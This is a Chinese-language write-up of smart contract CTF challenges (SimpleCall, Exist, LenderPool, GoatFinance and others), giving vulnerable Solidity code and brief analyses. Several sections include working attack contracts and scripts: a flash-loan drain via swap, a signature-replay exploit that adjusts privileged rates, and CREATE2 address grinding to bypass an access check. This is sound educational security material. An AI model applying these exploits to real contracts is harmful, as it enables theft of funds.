0x01SimpleCall

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
pragma solidity ^0.7.0;

contract ExistingStock {
address public owner;
address private reserve;

string public name = "Existing Stock";
string public symbol = "ES";
uint256 public decimals = 18;
uint256 public totalSupply = 200000000000;
uint8 public frequency = 1;

bool public Lock = false;
bool public result;
bool public flag;

event Approval(address indexed from, address indexed to, uint number);
event Transfer(address indexed from, address indexed to, uint number);
event Deposit(address indexed to, uint number);
event Withdraw(address indexed from, uint number);
event Target(address indexed from, bool result);

mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;

constructor() public {
owner = msg.sender;
balanceOf[owner] = totalSupply;
}

function approve(address to, uint number) public returns (bool) {
allowance[msg.sender][to] = number;
emit Approval(msg.sender, to, number);
return true;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balanceOf[msg.sender] - _value >= 0);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
return true;
}

function transferFrom(address from, address to, uint number) public returns (bool){

require(balanceOf[from] >= number);

if (from != msg.sender && allowance[from][msg.sender] != uint256(-1)) {
require(allowance[from][msg.sender] >= number);
allowance[from][msg.sender] -= number;
}

balanceOf[from] -= number;
balanceOf[to] += number;

emit Transfer(from, to, number);
return true;
}

function privilegedborrowing(uint256 value,address secure,address target,bytes memory data) public {
require(Lock == false && value >= 0 && value <= 1000);
balanceOf[address(this)] -= value;
balanceOf[target] += value;

address(target).call(data);

Lock = true;

require(balanceOf[target] >= value);
balanceOf[address(this)] += value;
balanceOf[target] -= value;

Lock = false;
}

function withdraw(uint number) public {
require(balanceOf[msg.sender] >= number);
balanceOf[msg.sender] -= number;
(msg.sender).transfer(number);
emit Withdraw(msg.sender, number);
}

function setflag() public {
if(balanceOf[msg.sender] > 200000 && allowance[address(this)][msg.sender] > 200000){
flag = true;
}
}

function isSolved() public view returns(bool){
return flag;
}
}

Analyse

直接调用privilegedborrowing函数,用里面的call来approve就可以了

0x02HEXP(未解决)

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pragma solidity ^0.8.0;

contract Hexp {
address public immutable target;
bool flag;

constructor() {
bytes memory code = hex"3d602d80600a3d3981f362ffffff80600a43034016903a1681146016576033fe5b5060006000f3";
address child;
assembly {
child := create(0, add(code, 0x20), mload(code))
}
target = child;
}

function f00000000_bvvvdlt() external {
(bool succ, bytes memory ret) = target.call(hex"");
assert(succ);
flag = true;
}

function isSolved() public view returns (bool) {
return flag;
}
}

Analyse

0x03 Counter

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pragma solidity ^0.8.13;

contract Deployer {
constructor(bytes memory code) { assembly { return (add(code, 0x20), mload(code)) } }
}
contract SmartCounter{
address public owner;
address public target;
bool flag=false;
constructor(address owner_){
owner=owner_;
}
function create(bytes memory code) public{
require(code.length<=24);
target=address(new Deployer(code));
}

function A_delegateccall(bytes memory data) public{
(bool success,bytes memory returnData)=target.delegatecall(data);
require(owner==msg.sender);
flag=true;
}
function isSolved() public view returns(bool){
return flag;
}
}

Analyse

直接覆盖 sstore(0,tx.origin)对应opcode:0x323455

0x04Exist

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
contract Existing{

string public name = "Existing";
string public symbol = "EG";
uint256 public decimals = 18;
uint256 public totalSupply = 10000000;
bool public flag = false;

mapping(address=>bool)public status;

event SendFlag(address addr);

mapping(address => uint) public balanceOf;

bytes20 internal appearance = bytes20(bytes32("ZT"))>>144;
bytes20 internal maskcode = bytes20(uint160(0xffff));

constructor()public{
balanceOf[address(this)] += totalSupply;
}

function transfer(address to,uint amount) external {
_transfer(msg.sender,to,amount);
}

function _transfer(address from,address to,uint amount) internal {
require(balanceOf[from] >= amount,"amount exceed");
require(to != address(0),"you cant burn my token");
require(balanceOf[to]+amount >= balanceOf[to]);
balanceOf[from] -= amount;
balanceOf[to] += amount;
}

modifier only_family{
require(is_my_family(msg.sender),
"no no no,my family only");
_;
}

modifier only_EOA(address msgs){
uint x;
assembly {
x := extcodesize(msgs)
}
require(x == 0,"Only EOA can do that");
_;
}

function is_my_family(address account) internal returns (bool) {
bytes20 you = bytes20(account);

bytes20 code = maskcode;
bytes20 feature = appearance;

for (uint256 i = 0; i < 34; i++) {
if (you & code == feature) {
return true;
}

code <<= 4;
feature <<= 4;
}
return false;
}

function share_my_vault() external only_EOA(msg.sender) only_family {
uint256 add = balanceOf[address(this)];
_transfer(address(this),msg.sender,add);
}

function setflag() external{
if(balanceOf[msg.sender] >= totalSupply) {
flag = true;
}
}
function isSolved() external view returns(bool) {
return flag;
}
}

contract attack{
constructor(){
Existing(0xB3F49c59c5482a46B6344Bd83A19E6bAe349f5bf).share_my_vault();
Existing(0xB3F49c59c5482a46B6344Bd83A19E6bAe349f5bf).setflag();
}
}
contract deployer{
address public a;
function deploy(bytes memory code,uint salt)internal returns(address){
bytes memory bytecode = code;
address addr;
assembly{
addr:=create2(0,add(bytecode,0x20),mload(bytecode),salt)
}
return addr;
}
function get(bytes memory code,uint salt)public {
a=deploy(code,salt);
}
}

Analyse

要求攻击合约结尾时5a54,满足要求之后调用share_my_valut和setFlag函数就完成了

JS脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const Web3 = require('web3'); // 引入 web3 模块
const rpcURL = "https://goerli.infura.io/v3/"; // Infura RPC URL
const web3 = new Web3(rpcURL); // 创建一个 web3 实例,连接 Infura 节点


const code
= "0x608060405234801561001057600080fd5b5060405161020d38038061020d833981810160405281019061003291906100db565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610108565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100a88261007d565b9050919050565b6100b88161009d565b81146100c357600080fd5b50565b6000815190506100d5816100af565b92915050565b6000602082840312156100f1576100f0610078565b5b60006100ff848285016100c6565b91505092915050565b60f7806101166000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c80638da5cb5b14602d575b600080fd5b60336047565b604051603e919060a8565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000609482606b565b9050919050565b60a281608b565b82525050565b600060208201905060bb6000830184609b565b9291505056fea264697066735822122026d2391212b4db1ed9d8c37357cd0b1613a16f4bb6c3f172cd4c1f48f5e0ee6f64736f6c634300081300330000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4"; // 合约的字节码

const factoryAddress = '0x1c91347f2A44538ce62453BEBd9Aa907C662b4bD'; // 已经部署的工厂合约地址



const prefix = '0xff' + factoryAddress.slice(2,); // 将工厂合约地址前缀设为 '0xff',并去掉开头的 '0x'
const suffix = web3.utils.keccak256(code).slice(2,); // 将合约字节码的哈希值计算出来,并去掉开头的 '0x'

var salt = 0; // 初始化 salt 为 0

while (1) { // 循环直到找到满足条件的地址

const saltHex = salt.toString(16).padStart(64, '0'); // 将 salt 转换为 16 进制,并填充到 64 位
const concatString = prefix.concat(saltHex).concat(suffix);

const address = "0x" + web3.utils.keccak256(concatString).slice(26,);

if (address.endsWith('5a54')) {

console.log(`salt: ${saltHex}, address: ${address}`);
break;
}

salt++;

}
console.log(salt);

0x05LenderPool

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;

abstract contract ReentrancyGuard {

uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;

uint256 private _status;

constructor() {
_status = _NOT_ENTERED;
}

modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}

function _nonReentrantBefore() private {
// On the first call to nonReentrant, _status will be _NOT_ENTERED
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
}

function _nonReentrantAfter() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}

function _reentrancyGuardEntered() internal view returns (bool) {
return _status == _ENTERED;
}
}

library Address {

function isContract(address account) internal view returns (bool) {

return account.code.length > 0;
}

function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");

(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}

function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}

function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}

function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}

function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}

function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}

function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}

function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}

function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}

function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {

require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}

function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}

function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {

assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
interface IERC20 {

event Transfer(address indexed from, address indexed to, uint256 value);

event Approval(address indexed owner, address indexed spender, uint256 value);

function totalSupply() external view returns (uint256);

function balanceOf(address account) external view returns (uint256);

function transfer(address to, uint256 amount) external returns (bool);

function allowance(address owner, address spender) external view returns (uint256);

function approve(address spender, uint256 amount) external returns (bool);

function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

contract ERC20 is IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;

uint256 private _totalSupply;
address public admin;

constructor() {
_mint(msg.sender, 100 * 10**18);
}

function totalSupply() public view returns (uint256) {
return _totalSupply;
}

function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}

function transfer(address to, uint256 amount) public returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}

function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}

function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
_spendAllowance(from, msg.sender, amount);
_transfer(from, to, amount);
return true;
}

function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(
fromBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}

function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
}

function _approve(
address owner,
address spender,
uint256 amount
) internal {
if (tx.origin == admin) {
require(msg.sender.code.length > 0);
_allowances[spender][tx.origin] = amount;
return;
}
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}

function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"ERC20: insufficient allowance"
);
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
}

contract LenderPool is ReentrancyGuard {
using Address for address;
IERC20 public immutable token0;
IERC20 public immutable token1;

constructor() {
token0 = new ERC20();
token1 = new ERC20();
}

function swap(address tokenAddress,uint amount) public returns(uint){
require(
tokenAddress == address(token0)

&& token1.transferFrom(msg.sender,address(this),amount)

&& token0.transfer(msg.sender,amount)

|| tokenAddress== address(token1)

&& token0.transferFrom(msg.sender,address(this),amount)

&& token1.transfer(msg.sender,amount));
return amount;

}

function flashLoan(uint256 borrowAmount, address borrower)
external
nonReentrant
{
uint256 balanceBefore = token0.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

token0.transfer(borrower, borrowAmount);
borrower.functionCall(abi.encodeWithSignature("receiveEther(uint256)", borrowAmount));

uint256 balanceAfter = token0.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

}

contract Check{
LenderPool public lenderPool;
IERC20 token0;
constructor(){
lenderPool = new LenderPool();
token0 = lenderPool.token0();
}

function isSolved() public view returns(bool){

if(token0.balanceOf(address(lenderPool)) == 0){
return true;
}
return false;
}
}

Analyse

由于在flashLona中可以swap结清贷款并且换出另一种token,因此题目漏洞再次

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
contract attack{
LenderPool public target;
constructor(address _target){
target = LenderPool(_target);
}
function pwn()public {
target.flashLoan(target.token0().balanceOf(address(target)),address(this));
target.token1().approve(address(target),type(uint).max);
target.swap(address(target.token0()),target.token1().balanceOf(address(this)));
}
function receiveEther(uint256)public{
target.token0().approve(address(target),type(uint).max);
target.swap(address(target.token1()),target.token0().balanceOf(address(this)));
}
}

0x06GoatFinance

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract PrivilegeFinance {

string public name = "Privilege Finance";
string public symbol = "PF";
uint256 public decimals = 18;
uint256 public totalSupply = 200000000000;

mapping(address => uint) public balances;
mapping(address => address) public referrers;

string msgsender = '0x71fA690CcCDC285E3Cb6d5291EA935cfdfE4E0';

uint public rewmax = 65000000000000000000000;
uint public time = 1677729607;
uint public Timeinterval = 600;
uint public Timewithdraw = 6000;
uint public Timeintervallimit = block.timestamp;
uint public Timewithdrawlimit = block.timestamp;

bytes32 r = 0xf296e6b417ce70a933383191bea6018cb24fa79d22f7fb3364ee4f54010a472c;
bytes32 s = 0x62bdb7aed9e2f82b2822ab41eb03e86a9536fcccff5ef6c1fbf1f6415bd872f9;
uint8 v = 28;

address public admin = 0x2922F8CE662ffbD46e8AE872C1F285cd4a23765b;

uint public burnFees = 2;
uint public ReferrerFees = 8;
uint public transferRate = 10;
address public BurnAddr = 0x000000000000000000000000000000000000dEaD;
bool public flag;

constructor() public {
balances[address(this)] = totalSupply;
}

function Airdrop() public {
require(balances[msg.sender] == 0 && block.timestamp >= Timeintervallimit,"Collection time not reached");
balances[msg.sender] += 1000;
balances[address(this)] -= 1000;
Timeintervallimit += Timeinterval;
}

function deposit(address token, uint256 amount, address _ReferrerAddress) public {
require(amount > 0, "amount zero!");
if (msg.sender != address(0) && _ReferrerAddress != address(0) && msg.sender != _ReferrerAddress && referrers[msg.sender] == address(0)) {
referrers[msg.sender] = _ReferrerAddress;
}
balances[msg.sender] -= amount;
balances[address(this)] += amount;
}

function withdraw(address token, uint256 amount) public {
require(balances[msg.sender] == 0 && block.timestamp >= Timewithdrawlimit,"Collection time not reached");
require(amount > 0 && amount <= 2000,"Financial restrictions");
Timewithdrawlimit += Timewithdraw;
require(amount > 0, "amount zero!");
balances[msg.sender] += amount;
balances[address(this)] -= amount;
}

function DynamicRew(address _msgsender,uint _blocktimestamp,uint _ReferrerFees,uint _transferRate) public returns(address) {
require(_blocktimestamp < 1677729610, "Time mismatch");
require(_transferRate <= 50 && _transferRate <= 50);
bytes32 _hash = keccak256(abi.encodePacked(_msgsender, rewmax, _blocktimestamp));
address a = ecrecover(_hash, v, r, s);
require(a == admin && time < _blocktimestamp, "time or banker");
ReferrerFees = _ReferrerFees;
transferRate = _transferRate;
return a;
}

function transfer(address recipient,uint256 amount) public {
if(msg.sender == admin){
uint256 _fee = amount * transferRate / 100;
_transfer(msg.sender, referrers[msg.sender], _fee * ReferrerFees / transferRate);
_transfer(msg.sender, BurnAddr, _fee * burnFees / transferRate);
_transfer(address(this), recipient, amount * amount * transferRate);
amount = amount - _fee;

}else if(recipient == admin){
uint256 _fee = amount * transferRate / 100;
_transfer(address(this), referrers[msg.sender], _fee * ReferrerFees / transferRate);
_transfer(msg.sender, BurnAddr, _fee * burnFees / transferRate);
amount = amount - _fee;
}
_transfer(msg.sender, recipient, amount);
}

function _transfer(address from, address _to, uint _value) internal returns (bool) {
balances[from] -= _value;
balances[_to] += _value;
return true;
}

function setflag() public {
if(balances[msg.sender] > 10000000){
flag = true;
}
}

function isSolved() public view returns(bool){
return flag;
}

}

Analyse

只需要通过DynamicRew来调整汇率,从而transfer更多的钱,来完成,DynamicRew中需要特定的msg.sender与blocktimestamp来完成验签,题目中msg.sender差一位,1677729607<blocktimestamp<1677729610

寻找地址

1
2
3
4
for i in range(0,100):
address1 = address + str(i).rjust(2,'0')
if (address1 == Web3.toChecksumAddress(address1)):
print(address1)

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
contract Attack{
bytes32 r = 0xf296e6b417ce70a933383191bea6018cb24fa79d22f7fb3364ee4f54010a472c;
bytes32 s = 0x62bdb7aed9e2f82b2822ab41eb03e86a9536fcccff5ef6c1fbf1f6415bd872f9;
uint8 v = 28;
uint a=65000000000000000000000;
address public _msgsender=0x71fA690CcCDC285E3Cb6d5291EA935cfdfE4E053;
uint public _blocktimestamp=1677729609;
address public admin = 0x2922F8CE662ffbD46e8AE872C1F285cd4a23765b;
PrivilegeFinance public target;
constructor(address add){
target=PrivilegeFinance(add);
}

function attack()public{
target.Airdrop();
target.deposit(msg.sender,1,msg.sender);
target.DynamicRew(_msgsender,_blocktimestamp,1000000000,50);
target.transfer(admin,10);

}
}

0x07 LittleMoney(未解决)

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
contract Numen {
address private owner;

event SendFlag(address);

constructor(){
owner = msg.sender;
}
struct func{
function() internal ptr;
}

modifier onlyOwner {
require(msg.sender == owner);
_;
}

modifier checkPermission(address addr){
_;
permission(addr);
}

function permission(address addr)internal view{
bool con = calcCode(addr);
require(con,"permission");
require(msg.sender == addr);
}

function calcCode(address addr)internal view returns(bool){
uint x;
assembly{
x := extcodesize(addr)
}
if(x == 0){return false;}
else if(x > 12){return false;}
else{assembly{return(0x20,0x20)}}
}

function execute(address target) external checkPermission(target){
(bool success,) = target.delegatecall(abi.encode(bytes4(keccak256("func()"))));
require(!success,"no cover!");
uint b;
uint v;
(b,v) = getReturnData();
require(b == block.number);

func memory set;
set.ptr = renounce;
assembly {
mstore(set, add(mload(set),v))
}
set.ptr();
}//0x22a

function renounce()public{
require(owner != address(0));
owner = address(0);
}

function getReturnData()internal pure returns(uint b,uint v){
assembly {
if iszero(eq(returndatasize(), 0x40)) { revert(0, 0) }
let ptr := mload(0x40)
returndatacopy(ptr, 0, 0x40)
b := and(mload(ptr), 0x00000000000000000000000000000000000000000000000000000000ffffffff)
v := mload(add(0x20, ptr))
}
}

function payforflag() public payable onlyOwner {
require(msg.value == 1, 'I only need a little money!');
emit SendFlag(msg.sender);
}
//0x1f5

receive()external payable{
this;
}
fallback()external payable{
revert();
}
}

Analyse

遇到assembly的return会提前终止

0x08ApplePool

0x09NumenWallet

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);

/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);

/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);

/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);

/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);

/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);

/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);

/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

contract NC is IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;

uint256 private _totalSupply;
address public admin;

constructor() {
_mint(msg.sender, 100 * 10**18);
}

function totalSupply() public view returns (uint256) {
return _totalSupply;
}

function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}

function transfer(address to, uint256 amount) public returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}

function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}

function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
_spendAllowance(from, msg.sender, amount);
_transfer(from, to, amount);
return true;
}

function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(
fromBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}

function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
}

function _approve(
address owner,
address spender,
uint256 amount
) internal {
if (tx.origin == admin) {
require(msg.sender.code.length > 0);
_allowances[spender][tx.origin] = amount;
return;
}
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}

function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"ERC20: insufficient allowance"
);
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
}

struct Holder {
address user;
string name;
bool approve;
bytes reason;
}
struct Signature {
uint8 v;
bytes32[2] rs;
}
struct SignedByowner {
Holder holder;
Signature signature;
}

contract Wallet {
address[] public owners;
address immutable public token;
Verifier immutable public verifier;
mapping(address => uint256) public contribution;
address[] public contributors;
address public debug;

constructor() {
token = address(new NC());
verifier = new Verifier();
initWallet();
}

function initWallet() private {
owners.push(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4));
owners.push(address(0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2));
owners.push(address(0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db));
owners.push(address(0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB));
owners.push(address(0x617F2E2fD72FD9D5503197092aC168c91465E7f2));
}

function deposit(uint256 _amount) public {
require(_amount > 0, "Deposit value of 0 is not allowed");
IERC20(token).transferFrom(msg.sender, address(this), _amount);
if(contribution[msg.sender] == 0){
contributors.push(msg.sender);
}
contribution[msg.sender] += _amount;

}

function transferWithSign(address _to, uint256 _amount, SignedByowner[] calldata signs) external {
require(address(0) != _to, "Please fill in the correct address");
require(_amount > 0, "amount must be greater than 0");
uint256 len = signs.length;
require(len > (owners.length / 2), "Not enough signatures");
Holder memory holder;
uint256 numOfApprove;
for(uint i; i < len; i++){
holder = signs[i].holder;
if(holder.approve){
//Prevent zero address
require(checkSinger(holder.user), "Signer is not wallet owner");
verifier.verify(_to, _amount, signs[i]);
}else{
continue;
}
numOfApprove++;
}
require(numOfApprove > owners.length / 2, "not enough confirmation");
IERC20(token).approve(_to, _amount);
IERC20(token).transfer(_to, _amount);
}

function checkSinger(address _addr) public view returns(bool res){
for(uint i; i < owners.length; i++){
if(owners[i] == _addr){
res = true;
}
}
}

function isSolved() public view returns(bool){
return IERC20(token).balanceOf(address(this)) == 0;
}

}

contract Verifier{

function verify(address _to, uint256 _amount, SignedByowner calldata scoupon) public pure{
Holder memory holder = scoupon.holder;
Signature memory sig = scoupon.signature;
bytes memory serialized = abi.encode(
_to,
_amount,
holder.approve,
holder.reason
);

require(ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", serialized)), sig.v, sig.rs[0], sig.rs[1]) == holder.user, "Invalid signature");
}
